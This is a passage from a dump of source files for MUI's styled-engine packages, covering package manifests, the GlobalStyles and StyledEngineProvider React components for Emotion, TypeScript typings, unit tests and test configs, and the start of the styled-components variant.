    "content": "{\n  \"name\": \"@mui/styled-engine\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"styled() API wrapper package for emotion.\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"emotion\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-styled-engine\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://mui.com/system/styled/\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"code-infra build --flat --skipTsc\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/styled-engine\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\",\n    \"attw\": \"attw --pack ./build --entrypoints \\\".\\\" \\\"GlobalStyles\\\" \\\"StyledEngineProvider\\\"\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@emotion/cache\": \"^11.14.0\",\n    \"@emotion/serialize\": \"^1.3.3\",\n    \"@emotion/sheet\": \"^1.4.0\",\n    \"csstype\": \"^3.2.3\",\n    \"prop-types\": \"^15.8.1\"\n  },\n  \"devDependencies\": {\n    \"@emotion/react\": \"11.14.0\",\n    \"@emotion/styled\": \"11.14.1\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/react\": \"19.2.14\",\n    \"chai\": \"6.2.2\",\n    \"react\": \"19.2.4\"\n  },\n  \"peerDependencies\": {\n    \"@emotion/react\": \"^11.4.1\",\n    \"@emotion/styled\": \"^11.3.0\",\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@emotion/react\": {\n      \"optional\": true\n    },\n    \"@emotion/styled\": {\n      \"optional\": true\n    }\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \".\": \"./src/index.js\",\n    \"./*\": \"./src/*/index.js\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-styled-engine/src/GlobalStyles/GlobalStyles.d.ts",
    "content": "import * as React from 'react';\nimport { Interpolation } from '@emotion/react';\n\nexport interface GlobalStylesProps<Theme = {}> {\n  defaultTheme?: object | undefined;\n  styles: Interpolation<Theme>;\n}\n\nexport default function GlobalStyles<Theme = {}>(\n  props: GlobalStylesProps<Theme>,\n): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-styled-engine/src/GlobalStyles/GlobalStyles.js",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport { Global } from '@emotion/react';\n\nfunction isEmpty(obj) {\n  return obj === undefined || obj === null || Object.keys(obj).length === 0;\n}\n\nexport default function GlobalStyles(props) {\n  const { styles, defaultTheme = {} } = props;\n\n  const globalStyles =\n    typeof styles === 'function'\n      ? (themeInput) => styles(isEmpty(themeInput) ? defaultTheme : themeInput)\n      : styles;\n\n  return <Global styles={globalStyles} />;\n}\n\nGlobalStyles.propTypes = {\n  defaultTheme: PropTypes.object,\n  styles: PropTypes.oneOfType([\n    PropTypes.array,\n    PropTypes.string,\n    PropTypes.object,\n    PropTypes.func,\n  ]),\n};\n"
  },
  {
    "path": "packages/mui-styled-engine/src/GlobalStyles/GlobalStyles.spec.tsx",
    "content": "import * as React from 'react';\nimport {\n  GlobalStyles as EmGlobalStyles,\n  GlobalStylesProps as EmGlobalStylesProps,\n} from '@mui/styled-engine';\n\ninterface Theme {\n  colors: {\n    primary: string;\n    secondary: string;\n  };\n}\n\nconst defaultTheme: Theme = {\n  colors: {\n    primary: '#f00',\n    secondary: '#ff00',\n  },\n};\n\nexport interface GlobalStylesProps {\n  /**\n   * The styles you want to apply globally.\n   */\n  styles: EmGlobalStylesProps<Theme>['styles'];\n}\n\nfunction GlobalStyles(props: GlobalStylesProps): React.JSX.Element {\n  return <EmGlobalStyles {...props} defaultTheme={defaultTheme} />;\n}\n\nfunction Test() {\n  <GlobalStyles\n    styles={(theme) => ({\n      color: theme.colors.primary,\n      // @ts-expect-error tertiary color doesn't exist\n      backgroundColor: theme.colors.tertiary,\n    })}\n  />;\n}\n"
  },
  {
    "path": "packages/mui-styled-engine/src/GlobalStyles/GlobalStyles.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport { ThemeProvider } from '@emotion/react';\nimport styled from '..';\nimport GlobalStyles from './GlobalStyles';\n\ndescribe('GlobalStyles', () => {\n  const { render } = createRenderer();\n\n  it.skipIf(isJsdom())('should add global styles', function test() {\n    render(\n      <div>\n        <GlobalStyles styles={`span { color: rgb(0, 0, 255); }`} />\n        <span data-testid=\"text\">Blue text</span>\n      </div>,\n    );\n\n    expect(screen.getByTestId('text')).toHaveComputedStyle({\n      color: 'rgb(0, 0, 255)',\n    });\n  });\n\n  it.skipIf(isJsdom())('should add global styles using JS syntax', function test() {\n    render(\n      <div>\n        <GlobalStyles styles={{ span: { color: 'rgb(0, 0, 255)' } }} />\n        <span data-testid=\"text\">Blue text</span>\n      </div>,\n    );\n\n    expect(screen.getByTestId('text')).toHaveComputedStyle({\n      color: 'rgb(0, 0, 255)',\n    });\n  });\n\n  it.skipIf(isJsdom())('should add global styles using function', function test() {\n    render(\n      <ThemeProvider theme={{ color: 'rgb(0, 0, 255)' }}>\n        <GlobalStyles styles={(theme) => ({ span: { color: theme.color } })} />\n        <span data-testid=\"text\">Blue text</span>\n      </ThemeProvider>,\n    );\n\n    expect(screen.getByTestId('text')).toHaveComputedStyle({\n      color: 'rgb(0, 0, 255)',\n    });\n  });\n\n  it('should not throw if no theme is available', () => {\n    expect(() =>\n      render(\n        <GlobalStyles\n          defaultTheme={{ color: 'rgb(0, 0, 255)' }}\n          styles={(theme) => ({ span: { color: theme.color } })}\n        />,\n      ),\n    ).not.to.throw();\n  });\n\n  it.skipIf(isJsdom())('should give precedence to styled()', function test() {\n    const Span = styled('span')`\n      color: rgb(255, 0, 0);\n    `;\n\n    render(\n      <div>\n        <GlobalStyles styles={`span { color: rgb(0, 0, 255); }`} />\n        <Span data-testid=\"text\">Red text</Span>\n      </div>,\n    );\n\n    expect(screen.getByTestId('text')).toHaveComputedStyle({\n      color: 'rgb(255, 0, 0)',\n    });\n  });\n\n  it.skipIf(isJsdom())('should give precedence to styled() using JS syntax', function test() {\n    const Span = styled('span')({\n      color: 'rgb(255, 0, 0)',\n    });\n\n    render(\n      <div>\n        <GlobalStyles styles={{ span: { color: 'rgb(0, 0, 255)' } }} />\n        <Span data-testid=\"text\">Red text</Span>\n      </div>,\n    );\n\n    expect(screen.getByTestId('text')).toHaveComputedStyle({\n      color: 'rgb(255, 0, 0)',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-styled-engine/src/GlobalStyles/index.d.ts",
    "content": "export { default } from './GlobalStyles';\nexport * from './GlobalStyles';\n"
  },
  {
    "path": "packages/mui-styled-engine/src/GlobalStyles/index.js",
    "content": "export { default } from './GlobalStyles';\n"
  },
  {
    "path": "packages/mui-styled-engine/src/StyledEngineProvider/StyledEngineProvider.d.ts",
    "content": "import * as React from 'react';\n\nexport interface StyledEngineProviderProps {\n  children?: React.ReactNode;\n  enableCssLayer?: boolean | undefined;\n  injectFirst?: boolean | undefined;\n}\n\nexport default function StyledEngineProvider(props: StyledEngineProviderProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-styled-engine/src/StyledEngineProvider/StyledEngineProvider.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\nimport { StyleSheet } from '@emotion/sheet';\n\n// To fix [Jest performance](https://github.com/mui/material-ui/issues/45638).\nconst cacheMap = new Map();\n\n// Need to add a private variable to test the generated CSS from Emotion, this is the simplest way to do it.\n// We can't test the CSS from `style` tag easily because the `speedy: true` (produce empty text content) is enabled by Emotion.\n// Even if we disable it, JSDOM needs extra configuration to be able to parse `@layer` CSS.\nexport const TEST_INTERNALS_DO_NOT_USE = {\n  /**\n   * to intercept the generated CSS before inserting to the style tag, so that we can check the generated CSS.\n   *\n   * let rule;\n   * TEST_INTERNALS_DO_NOT_USE.insert = (...args) => {\n   *    rule = args[0];\n   * };\n   *\n   * expect(rule).to.equal(...);\n   */\n  insert: undefined,\n};\n\n// We might be able to remove this when this issue is fixed:\n// https://github.com/emotion-js/emotion/issues/2790\nconst createEmotionCache = (options, CustomSheet) => {\n  const cache = createCache(options);\n\n  // Do the same as https://github.com/emotion-js/emotion/blob/main/packages/cache/src/index.js#L238-L245\n  cache.sheet = new CustomSheet({\n    key: cache.key,\n    nonce: cache.sheet.nonce,\n    container: cache.sheet.container,\n    speedy: cache.sheet.isSpeedy,\n    prepend: cache.sheet.prepend,\n    insertionPoint: cache.sheet.insertionPoint,\n  });\n\n  return cache;\n};\n\nlet insertionPoint;\nif (typeof document === 'object') {\n  // Use `insertionPoint` over `prepend`(deprecated) because it can be controlled for GlobalStyles injection order\n  // For more information, see https://github.com/mui/material-ui/issues/44597\n  insertionPoint = document.querySelector('[name=\"emotion-insertion-point\"]');\n  if (!insertionPoint) {\n    insertionPoint = document.createElement('meta');\n    insertionPoint.setAttribute('name', 'emotion-insertion-point');\n    insertionPoint.setAttribute('content', '');\n    const head = document.querySelector('head');\n    if (head) {\n      head.prepend(insertionPoint);\n    }\n  }\n}\n\nfunction getCache(injectFirst, enableCssLayer) {\n  if (injectFirst || enableCssLayer) {\n    /**\n     * This is for client-side apps only.\n     * A custom sheet is required to make the GlobalStyles API injected above the insertion point.\n     * This is because the [sheet](https://github.com/emotion-js/emotion/blob/main/packages/react/src/global.js#L94-L99) does not consume the options.\n     */\n    class MyStyleSheet extends StyleSheet {\n      insert(rule, options) {\n        if (TEST_INTERNALS_DO_NOT_USE.insert) {\n          return TEST_INTERNALS_DO_NOT_USE.insert(rule, options);\n        }\n        if (this.key && this.key.endsWith('global')) {\n          this.before = insertionPoint;\n        }\n        return super.insert(rule, options);\n      }\n    }\n    const emotionCache = createEmotionCache(\n      {\n        key: 'css',\n        insertionPoint: injectFirst ? insertionPoint : undefined,\n      },\n      MyStyleSheet,\n    );\n    if (enableCssLayer) {\n      const prevInsert = emotionCache.insert;\n      emotionCache.insert = (...args) => {\n        if (!args[1].styles.match(/^@layer\\s+[^{]*$/)) {\n          // avoid nested @layer\n          args[1].styles = `@layer mui {${args[1].styles}}`;\n        }\n        return prevInsert(...args);\n      };\n    }\n    return emotionCache;\n  }\n  return undefined;\n}\n\nexport default function StyledEngineProvider(props) {\n  const { injectFirst, enableCssLayer, children } = props;\n  const cache = React.useMemo(() => {\n    const cacheKey = `${injectFirst}-${enableCssLayer}`;\n    if (typeof document === 'object' && cacheMap.has(cacheKey)) {\n      return cacheMap.get(cacheKey);\n    }\n    const fresh = getCache(injectFirst, enableCssLayer);\n    cacheMap.set(cacheKey, fresh);\n    return fresh;\n  }, [injectFirst, enableCssLayer]);\n  return cache ? <CacheProvider value={cache}>{children}</CacheProvider> : children;\n}\n\nStyledEngineProvider.propTypes = {\n  /**\n   * Your component tree.\n   */\n  children: PropTypes.node,\n  /**\n   * If `true`, the styles are wrapped in `@layer mui`.\n   * Learn more about [Cascade layers](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/Cascade_layers).\n   */\n  enableCssLayer: PropTypes.bool,\n  /**\n   * By default, the styles are injected last in the <head> element of the page.\n   * As a result, they gain more specificity than any other style sheet.\n   * If you want to override MUI's styles, set this prop.\n   */\n  injectFirst: PropTypes.bool,\n};\n"
  },
  {
    "path": "packages/mui-styled-engine/src/StyledEngineProvider/StyledEngineProvider.test.js",
    "content": "import { __unsafe_useEmotionCache } from '@emotion/react';\nimport { StyledEngineProvider, GlobalStyles } from '@mui/styled-engine';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { expect } from 'chai';\nimport { TEST_INTERNALS_DO_NOT_USE } from './StyledEngineProvider';\n\ndescribe('[Emotion] StyledEngineProvider', () => {\n  const { render } = createRenderer();\n\n  let rule;\n\n  beforeAll(() => {\n    TEST_INTERNALS_DO_NOT_USE.insert = (...args) => {\n      rule = args[0];\n    };\n  });\n\n  afterAll(() => {\n    delete TEST_INTERNALS_DO_NOT_USE.insert;\n  });\n\n  beforeEach(() => {\n    rule = undefined;\n  });\n\n  it('should create styles with @layer', () => {\n    render(\n      <StyledEngineProvider enableCssLayer>\n        <GlobalStyles styles={{ html: { color: 'red' } }} />\n      </StyledEngineProvider>,\n    );\n    expect(rule).to.equal('@layer mui{html{color:red;}}');\n  });\n\n  it('should not do anything if the style is layer order', () => {\n    render(\n      <StyledEngineProvider enableCssLayer>\n        <GlobalStyles styles=\"@layer theme, base, mui, components, utilities;\" />\n      </StyledEngineProvider>,\n    );\n    expect(rule).to.equal('@layer theme,base,mui,components,utilities;');\n  });\n\n  it('should wrap @layer rule', () => {\n    render(\n      <StyledEngineProvider enableCssLayer>\n        <GlobalStyles styles={{ '@layer components': { html: { color: 'red' } } }} />\n      </StyledEngineProvider>,\n    );\n    expect(rule).to.equal('@layer mui{@layer components{html{color:red;}}}');\n  });\n\n  it('able to config layer order through GlobalStyles', () => {\n    render(\n      <StyledEngineProvider enableCssLayer>\n        <GlobalStyles styles=\"@layer theme, base, mui, components, utilities;\" />\n      </StyledEngineProvider>,\n    );\n    expect(rule).to.equal('@layer theme,base,mui,components,utilities;');\n  });\n\n  it('should reuse the same cache', () => {\n    let upperCache;\n    let innerCache;\n    function Upper() {\n      const cache = __unsafe_useEmotionCache();\n      upperCache = cache;\n      return (\n        <StyledEngineProvider injectFirst>\n          <Inner />\n        </StyledEngineProvider>\n      );\n    }\n    function Inner() {\n      const cache = __unsafe_useEmotionCache();\n      innerCache = cache;\n      return null;\n    }\n    render(\n      <StyledEngineProvider injectFirst>\n        <Upper />\n      </StyledEngineProvider>,\n    );\n    expect(innerCache).to.equal(upperCache);\n  });\n});\n"
  },
  {
    "path": "packages/mui-styled-engine/src/StyledEngineProvider/index.d.ts",
    "content": "export { default } from './StyledEngineProvider';\nexport * from './StyledEngineProvider';\n"
  },
  {
    "path": "packages/mui-styled-engine/src/StyledEngineProvider/index.js",
    "content": "export { default } from './StyledEngineProvider';\n"
  },
  {
    "path": "packages/mui-styled-engine/src/index.d.ts",
    "content": "import * as CSS from 'csstype';\nimport { StyledComponent, StyledOptions } from '@emotion/styled';\nimport { PropsOf } from '@emotion/react';\n\nexport * from '@emotion/styled';\nexport { default } from '@emotion/styled';\nexport { ThemeContext, keyframes, css } from '@emotion/react';\n\nexport { default as StyledEngineProvider } from './StyledEngineProvider';\n\nexport { default as GlobalStyles } from './GlobalStyles';\nexport * from './GlobalStyles';\n\nexport type MUIStyledComponent<\n  ComponentProps extends {},\n  SpecificComponentProps extends {} = {},\n  JSXProps extends {} = {},\n> = StyledComponent<ComponentProps, SpecificComponentProps, JSXProps>;\n\n/**\n * For internal usage in `@mui/system` package\n */\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_mutateStyles(\n  tag: React.ElementType,\n  processor: (styles: any) => any,\n): void;\n\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_serializeStyles<P>(styles: Interpolation<P>): object;\n\nexport interface SerializedStyles {\n  name: string;\n  styles: string;\n  map?: string | undefined;\n  next?: SerializedStyles | undefined;\n}\n\nexport type CSSProperties = CSS.PropertiesFallback<number | string>;\nexport type CSSPropertiesWithMultiValues = {\n  [K in keyof CSSProperties]: CSSProperties[K] | ReadonlyArray<Extract<CSSProperties[K], string>>;\n};\n\n// TODO v6 - check if we can drop the unknown, as it breaks the autocomplete\n// For more info on why it was added, see https://github.com/mui/material-ui/pull/26228\nexport type CSSPseudos = { [K in CSS.Pseudos]?: unknown | CSSObject };\n\n// TODO v6 - check if we can drop the unknown, as it breaks the autocomplete\n// For more info on why it was added, see https://github.com/mui/material-ui/pull/26228\nexport interface CSSOthersObject {\n  [propertiesName: string]: unknown | CSSInterpolation;\n}\nexport type CSSPseudosForCSSObject = { [K in CSS.Pseudos]?: CSSObject };\n\nexport interface ArrayCSSInterpolation extends ReadonlyArray<CSSInterpolation> {}\n\nexport interface CSSOthersObjectForCSSObject {\n  [propertiesName: string]: CSSInterpolation;\n}\n\n// Omit variants as a key, because we have a special handling for it\nexport interface CSSObject extends CSSPropertiesWithMultiValues, CSSPseudos, CSSOthersObject {}\n\nexport interface ComponentSelector {\n  __emotion_styles: any;\n}\n\nexport type Keyframes = {\n  name: string;\n  styles: string;\n  anim: number;\n  toString: () => string;\n} & string;\n\nexport type Equal<A, B, T, F> = A extends B ? (B extends A ? T : F) : F;\n\nexport type InterpolationPrimitive =\n  | null\n  | undefined\n  | boolean\n  | number\n  | string\n  | ComponentSelector\n  | Keyframes\n  | SerializedStyles\n  | CSSObject;\n\nexport type CSSInterpolation = InterpolationPrimitive | ArrayCSSInterpolation;\n\nexport interface FunctionInterpolation<Props> {\n  (props: Props): Interpolation<Props>;\n}\n\nexport interface ArrayInterpolation<Props> extends ReadonlyArray<Interpolation<Props>> {}\n\nexport type Interpolation<Props> =\n  | null\n  | undefined\n  | boolean\n  | number\n  | string\n  | ComponentSelector\n  | Keyframes\n  | SerializedStyles\n  | CSSPropertiesWithMultiValues\n  | (CSSObject & {\n      variants?:\n        | Array<{\n            props:\n              | (Props extends { ownerState: infer O }\n                  ? Partial<Omit<Props, 'ownerState'> & O>\n                  : Partial<Props>)\n              | ((\n                  props: Props extends { ownerState: infer O }\n                    ? Props & O & { ownerState: O }\n                    : Props,\n                ) => boolean);\n            style:\n              | CSSObject\n              | ((\n                  args: Props extends { theme: any } ? { theme: Props['theme'] } : any,\n                ) => CSSObject);\n          }>\n        | undefined;\n    })\n  | ArrayInterpolation<Props>\n  | FunctionInterpolation<Props>;\n\nexport function shouldForwardProp(propName: PropertyKey): boolean;\n\n/** Same as StyledOptions but shouldForwardProp must be a type guard */\nexport interface FilteringStyledOptions<Props, ForwardedProps extends keyof Props = keyof Props> {\n  label?: string | undefined;\n  shouldForwardProp?(propName: PropertyKey): propName is ForwardedProps;\n  target?: string | undefined;\n}\n\n/**\n * @typeparam ComponentProps  Props which will be included when withComponent is called\n * @typeparam SpecificComponentProps  Props which will *not* be included when withComponent is called\n */\nexport interface CreateStyledComponent<\n  ComponentProps extends {},\n  SpecificComponentProps extends {} = {},\n  JSXProps extends {} = {},\n  T extends object = {},\n> {\n  (\n    ...styles: Array<Interpolation<ComponentProps & SpecificComponentProps & { theme: T }>>\n  ): StyledComponent<ComponentProps, SpecificComponentProps, JSXProps>;\n\n  /**\n   * @typeparam AdditionalProps  Additional props to add to your styled component\n   */\n  <AdditionalProps extends {}>(\n    ...styles: Array<\n      Interpolation<ComponentProps & SpecificComponentProps & AdditionalProps & { theme: T }>\n    >\n  ): StyledComponent<ComponentProps & AdditionalProps, SpecificComponentProps, JSXProps>;\n\n  (\n    template: TemplateStringsArray,\n    ...styles: Array<Interpolation<ComponentProps & SpecificComponentProps & { theme: T }>>\n  ): StyledComponent<ComponentProps, SpecificComponentProps, JSXProps>;\n\n  /**\n   * @typeparam AdditionalProps  Additional props to add to your styled component\n   */\n  <AdditionalProps extends {}>(\n    template: TemplateStringsArray,\n    ...styles: Array<\n      Interpolation<ComponentProps & SpecificComponentProps & AdditionalProps & { theme: T }>\n    >\n  ): StyledComponent<ComponentProps & AdditionalProps, SpecificComponentProps, JSXProps>;\n}\n\nexport interface CreateMUIStyled<\n  MUIStyledCommonProps extends {},\n  MuiStyledOptions,\n  Theme extends object,\n> {\n  <\n    C extends React.ComponentClass<React.ComponentProps<C>>,\n    ForwardedProps extends keyof React.ComponentProps<C> = keyof React.ComponentProps<C>,\n  >(\n    component: C,\n    options: FilteringStyledOptions<React.ComponentProps<C>, ForwardedProps> & MuiStyledOptions,\n  ): CreateStyledComponent<\n    Pick<PropsOf<C>, ForwardedProps> & MUIStyledCommonProps,\n    {},\n    {\n      ref?: React.Ref<InstanceType<C>> | undefined;\n    },\n    Theme\n  >;\n\n  <C extends React.ComponentClass<React.ComponentProps<C>>>(\n    component: C,\n    options?: StyledOptions<PropsOf<C> & MUIStyledCommonProps> & MuiStyledOptions,\n  ): CreateStyledComponent<\n    PropsOf<C> & MUIStyledCommonProps,\n    {},\n    {\n      ref?: React.Ref<InstanceType<C>> | undefined;\n    },\n    Theme\n  >;\n\n  <\n    C extends React.JSXElementConstructor<React.ComponentProps<C>>,\n    ForwardedProps extends keyof React.ComponentProps<C> = keyof React.ComponentProps<C>,\n  >(\n    component: C,\n    options: FilteringStyledOptions<React.ComponentProps<C>, ForwardedProps> & MuiStyledOptions,\n  ): CreateStyledComponent<Pick<PropsOf<C>, ForwardedProps> & MUIStyledCommonProps, {}, {}, Theme>;\n\n  <C extends React.JSXElementConstructor<React.ComponentProps<C>>>(\n    component: C,\n    options?: StyledOptions<PropsOf<C> & MUIStyledCommonProps> & MuiStyledOptions,\n  ): CreateStyledComponent<PropsOf<C> & MUIStyledCommonProps, {}, {}, Theme>;\n\n  <\n    Tag extends keyof React.JSX.IntrinsicElements,\n    ForwardedProps extends keyof React.JSX.IntrinsicElements[Tag] =\n      keyof React.JSX.IntrinsicElements[Tag],\n  >(\n    tag: Tag,\n    options: FilteringStyledOptions<React.JSX.IntrinsicElements[Tag], ForwardedProps> &\n      MuiStyledOptions,\n  ): CreateStyledComponent<\n    MUIStyledCommonProps,\n    Pick<React.JSX.IntrinsicElements[Tag], ForwardedProps>,\n    {},\n    Theme\n  >;\n\n  <Tag extends keyof React.JSX.IntrinsicElements>(\n    tag: Tag,\n    options?: StyledOptions<MUIStyledCommonProps> & MuiStyledOptions,\n  ): CreateStyledComponent<MUIStyledCommonProps, React.JSX.IntrinsicElements[Tag], {}, Theme>;\n}\n"
  },
  {
    "path": "packages/mui-styled-engine/src/index.js",
    "content": "'use client';\n/* eslint-disable no-underscore-dangle */\nimport emStyled from '@emotion/styled';\nimport { serializeStyles as emSerializeStyles } from '@emotion/serialize';\n\nexport default function styled(tag, options) {\n  const stylesFactory = emStyled(tag, options);\n\n  if (process.env.NODE_ENV !== 'production') {\n    return (...styles) => {\n      const component = typeof tag === 'string' ? `\"${tag}\"` : 'component';\n      if (styles.length === 0) {\n        console.error(\n          [\n            `MUI: Seems like you called \\`styled(${component})()\\` without a \\`style\\` argument.`,\n            'You must provide a `styles` argument: `styled(\"div\")(styleYouForgotToPass)`.',\n          ].join('\\n'),\n        );\n      } else if (styles.some((style) => style === undefined)) {\n        console.error(\n          `MUI: the styled(${component})(...args) API requires all its args to be defined.`,\n        );\n      }\n      return stylesFactory(...styles);\n    };\n  }\n\n  return stylesFactory;\n}\n\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_mutateStyles(tag, processor) {\n  // Emotion attaches all the styles as `__emotion_styles`.\n  // Ref: https://github.com/emotion-js/emotion/blob/16d971d0da229596d6bcc39d282ba9753c9ee7cf/packages/styled/src/base.js#L186\n  if (Array.isArray(tag.__emotion_styles)) {\n    tag.__emotion_styles = processor(tag.__emotion_styles);\n  }\n}\n\n// Emotion only accepts an array, but we want to avoid allocations\nconst wrapper = [];\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_serializeStyles(styles) {\n  wrapper[0] = styles;\n  return emSerializeStyles(wrapper);\n}\n\nexport { ThemeContext, keyframes, css } from '@emotion/react';\nexport { default as StyledEngineProvider } from './StyledEngineProvider';\nexport { default as GlobalStyles } from './GlobalStyles';\n"
  },
  {
    "path": "packages/mui-styled-engine/src/styled.test.js",
    "content": "import { expect } from 'chai';\nimport styled from './index';\n\ndescribe('styled', () => {\n  it('should help debug wrong args', () => {\n    expect(() => {\n      styled('span')();\n    }).toErrorDev('MUI: Seems like you called `styled(\"span\")()` without a `style` argument');\n\n    expect(() => {\n      styled('span')(undefined, { color: 'red' });\n    }).toErrorDev('MUI: the styled(\"span\")(...args) API requires all its args to be defined');\n  });\n});\n"
  },
  {
    "path": "packages/mui-styled-engine/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n\n  \"include\": [\"src/**/*\"]\n}\n"
  },
  {
    "path": "packages/mui-styled-engine/vitest.config.browser.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages/mui-styled-engine/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/README.md",
    "content": "# @mui/styled-engine-sc\n\nThis package is a wrapper around the `styled-components` package implementing the interface of `@mui/styled-engine`.\nIt's designed for developers who would like to use `styled-components` as the main styled engine instead of `@emotion/styled`.\n\n## Documentation\n\n<!-- #host-reference -->\n\nVisit [https://next.mui.com/material-ui/integrations/styled-components/](https://next.mui.com/material-ui/integrations/styled-components/) to view the full documentation.\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/package.json",
    "content": "{\n  \"name\": \"@mui/styled-engine-sc\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"styled() API wrapper package for styled-components.\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"styled-components\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-styled-engine-sc\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://mui.com/material-ui/integrations/styled-components/\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"code-infra build --flat --skipTsc\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/styled-engine-sc\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@types/hoist-non-react-statics\": \"^3.3.7\",\n    \"csstype\": \"^3.2.3\",\n    \"hoist-non-react-statics\": \"^3.3.2\",\n    \"prop-types\": \"^15.8.1\"\n  },\n  \"devDependencies\": {\n    \"@types/chai\": \"5.2.3\",\n    \"@types/react\": \"19.2.14\",\n    \"chai\": \"6.2.2\",\n    \"react\": \"19.2.4\",\n    \"styled-components\": \"6.3.12\"\n  },\n  \"peerDependencies\": {\n    \"styled-components\": \"^6.0.0\"\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \".\": \"./src/index.js\",\n    \"./*\": \"./src/*/index.js\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/GlobalStyles/GlobalStyles.d.ts",
    "content": "import * as React from 'react';\nimport { CSSObject, StyleFunction } from 'styled-components';\n\nexport interface GlobalStylesProps<Theme extends object = {}> {\n  defaultTheme?: object | undefined;\n  styles: string | CSSObject | StyleFunction<Theme>;\n}\n\nexport default function Global<Theme extends object = {}>(\n  props: GlobalStylesProps<Theme>,\n): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/GlobalStyles/GlobalStyles.js",
    "content": "import PropTypes from 'prop-types';\nimport { createGlobalStyle } from 'styled-components';\n\nfunction isEmpty(obj) {\n  return obj === undefined || obj === null || Object.keys(obj).length === 0;\n}\n\nconst GlobalStyles = createGlobalStyle((props) => {\n  const { styles, defaultTheme = {} } = props;\n\n  if (typeof styles === 'function') {\n    return styles(isEmpty(props.theme) ? defaultTheme : props.theme);\n  }\n\n  return styles;\n});\n\nexport default GlobalStyles;\n\nGlobalStyles.propTypes = {\n  defaultTheme: PropTypes.object,\n  styles: PropTypes.oneOfType([\n    PropTypes.array,\n    PropTypes.string,\n    PropTypes.object,\n    PropTypes.func,\n  ]),\n};\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/GlobalStyles/GlobalStyles.spec.tsx",
    "content": "import * as React from 'react';\nimport {\n  GlobalStyles as SCGlobalStyles,\n  GlobalStylesProps as SCGlobalStylesProps,\n} from '@mui/styled-engine-sc';\n\ninterface Theme {\n  colors: {\n    primary: string;\n    secondary: string;\n  };\n}\n\nconst defaultTheme: Theme = {\n  colors: {\n    primary: '#f00',\n    secondary: '#ff00',\n  },\n};\n\nexport interface GlobalStylesProps {\n  /**\n   * The styles you want to apply globally.\n   */\n  styles: SCGlobalStylesProps<Theme>['styles'];\n}\n\nfunction GlobalStyles(props: GlobalStylesProps): React.JSX.Element {\n  return <SCGlobalStyles {...props} defaultTheme={defaultTheme} />;\n}\n\nfunction Test() {\n  <GlobalStyles\n    styles={(theme) => ({\n      color: theme.colors.primary,\n      // @ts-expect-error tertiary color doesn't exist\n      backgroundColor: theme.colors.tertiary,\n    })}\n  />;\n}\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/GlobalStyles/GlobalStyles.test.js",
